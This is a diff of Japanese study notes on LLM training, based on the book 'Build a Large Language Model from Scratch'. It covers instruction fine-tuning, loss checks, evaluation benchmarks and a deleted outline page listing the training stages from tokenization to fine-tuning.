- \[オプション\] LLMが回答を生成する方法のみを学習するように、質問に属するすべてのトークンも-100でマスクします。Apply Alpacaスタイルでは、`### Response:`までのすべてをマスクすることを意味します。
これが作成されたら、各データセット(トレーニング、検証、テスト)のデータローダーを作成する時です。
## 事前トレーニングされたLLMのロードとファインチューニングおよび損失チェック
ファインチューニングするために、事前トレーニングされたLLMをロードする必要があります。これは他のページで既に議論されています。その後、以前に使用したトレーニング関数を使用してLLMをファインチューニングできます。
トレーニング中は、エポック中にトレーニング損失と検証損失がどのように変化するかを確認して、損失が減少しているか、過学習が発生しているかを確認することも可能です。\
過学習は、トレーニング損失が減少しているが、検証損失が減少していないか、さらには増加している場合に発生します。これを避けるために、最も簡単な方法は、この挙動が始まるエポックでトレーニングを停止することです。
## 応答の質
これは分類ファインチューニングではないため、損失の変動をより信頼できるわけではありませんが、テストセットの応答の質を確認することも重要です。したがって、生成された応答をすべてのテストセットから集めて、**その質を手動で確認する**ことをお勧めします。間違った回答があるかどうかを確認しますLLMが応答文の形式と構文を正しく作成することは可能ですが、完全に間違った応答を返すことがあります。損失の変動はこの挙動を反映しません。\
生成された応答と期待される応答を**他のLLMに渡して応答を評価させる**ことでも、このレビューを行うことが可能です。
応答の質を確認するために実行する他のテスト:
1. **大規模マルチタスク言語理解 (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLUは、ヒューマニティーズ、サイエンスなど57の科目にわたるモデルの知識と問題解決能力を評価します。さまざまな難易度の選択肢問題を使用して理解を評価します。
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): このプラットフォームでは、異なるチャットボットの応答を並べて比較できます。ユーザーがプロンプトを入力すると、複数のチャットボットが応答を生成し、直接比較できます。
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEvalは、自動評価フレームワークで、GPT-4のような高度なLLMが他のモデルの応答をさまざまなプロンプトに対して評価します。
4. **一般的な言語理解評価 (**[**GLUE**](https://gluebenchmark.com/)**):** GLUEは、感情分析、テキストの含意、質問応答など、9つの自然言語理解タスクのコレクションです。
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUEを基にして、SuperGLUEは現在のモデルにとって難しいとされるより挑戦的なタスクを含んでいます。
6. **模倣ゲームベンチマークを超えて (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-benchは、推論、翻訳、質問応答などの分野でモデルの能力をテストする200以上のタスクを持つ大規模なベンチマークです。
7. **言語モデルの包括的評価 (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELMは、精度、堅牢性、公平性など、さまざまな指標にわたる包括的な評価を提供します。
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAIによるオープンソースの評価フレームワークで、カスタムおよび標準化されたタスクでAIモデルをテストできます。
9. [**HumanEval**](https://github.com/openai/human-eval)**:** プログラミング問題のコレクションで、言語モデルのコード生成能力を評価するために使用されます。
10. **スタンフォード質問応答データセット (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuADは、Wikipediaの記事に関する質問で構成されており、モデルは正確に回答するためにテキストを理解する必要があります。
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** トリビアの質問と回答の大規模データセットで、証拠文書も含まれています。
その他多数
## 指示に従ったファインチューニングコード
このファインチューニングを実行するためのコードの例は、[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)で見つけることができます。
## 参考文献
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,98 +0,0 @@
# LLMトレーニング - データ準備
**これは非常に推奨される本** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **からの私のメモで、いくつかの追加情報が含まれています。**
## 基本情報
まず、知っておくべき基本概念についてこの投稿を読むべきです:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
## 1. トークン化
> [!TIP]
> この初期段階の目標は非常にシンプルです:**入力を意味のある方法でトークンIDに分割すること**。
{{#ref}}
1.-tokenizing.md
{{#endref}}
## 2. データサンプリング
> [!TIP]
> この第二段階の目標は非常にシンプルです:**入力データをサンプリングし、通常は特定の長さの文にデータセットを分け、期待される応答も生成することでトレーニング段階の準備をすること**。
{{#ref}}
2.-data-sampling.md
{{#endref}}
## 3. トークン埋め込み
> [!TIP]
> この第三段階の目標は非常にシンプルです:**語彙内の各トークンに対して、モデルをトレーニングするために必要な次元のベクトルを割り当てること**。語彙内の各単語はX次元の空間内の点になります。\
> 最初は、空間内の各単語の位置は「ランダムに」初期化され、これらの位置はトレーニング中に改善されるトレーニング可能なパラメータです。
>
> さらに、トークン埋め込みの間に**別の埋め込み層が作成され**、これは(この場合)**トレーニング文における単語の絶対位置を表します**。このように、文中の異なる位置にある単語は異なる表現(意味)を持ちます。
{{#ref}}
3.-token-embeddings.md
{{#endref}}
## 4. アテンションメカニズム
> [!TIP]
> この第四段階の目標は非常にシンプルです:**いくつかのアテンションメカニズムを適用すること**。これらは、**語彙内の単語と現在トレーニングに使用されている文中の隣接単語との関係を捉えるための多くの**繰り返し層**になります。\
> これには多くの層が使用されるため、多くのトレーニング可能なパラメータがこの情報を捉えることになります。
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
## 5. LLMアーキテクチャ
> [!TIP]
> この第五段階の目標は非常にシンプルです:**完全なLLMのアーキテクチャを開発すること**。すべてをまとめ、すべての層を適用し、テキストを生成したり、テキストをIDに変換したり逆に変換するためのすべての関数を作成します。
>
> このアーキテクチャは、トレーニング後のテキストのトレーニングと予測の両方に使用されます。
{{#ref}}
5.-llm-architecture.md
{{#endref}}
## 6. プレトレーニングとモデルの読み込み
> [!TIP]
> この第六段階の目標は非常にシンプルです:**モデルをゼロからトレーニングすること**。これには、定義された損失関数とオプティマイザを使用して、モデルのすべてのパラメータをトレーニングするために、前のLLMアーキテクチャが使用されます。
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
## 7.0. LoRAによるファインチューニングの改善
> [!TIP]
> **LoRAの使用は、すでにトレーニングされたモデルをファインチューニングするために必要な計算を大幅に削減します**
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
## 7.1. 分類のためのファインチューニング
> [!TIP]
> このセクションの目標は、すでにプレトレーニングされたモデルをファインチューニングする方法を示すことです。新しいテキストを生成するのではなく、LLMが**与えられたテキストが各カテゴリに分類される確率を選択すること**(例えば、テキストがスパムかどうか)です。
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
## 7.2. 指示に従うためのファインチューニング
> [!TIP]
> このセクションの目標は、**テキストを生成するのではなく、指示に従うためにすでにプレトレーニングされたモデルをファインチューニングする方法を示すこと**です。例えば、チャットボットとしてタスクに応答することです。
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}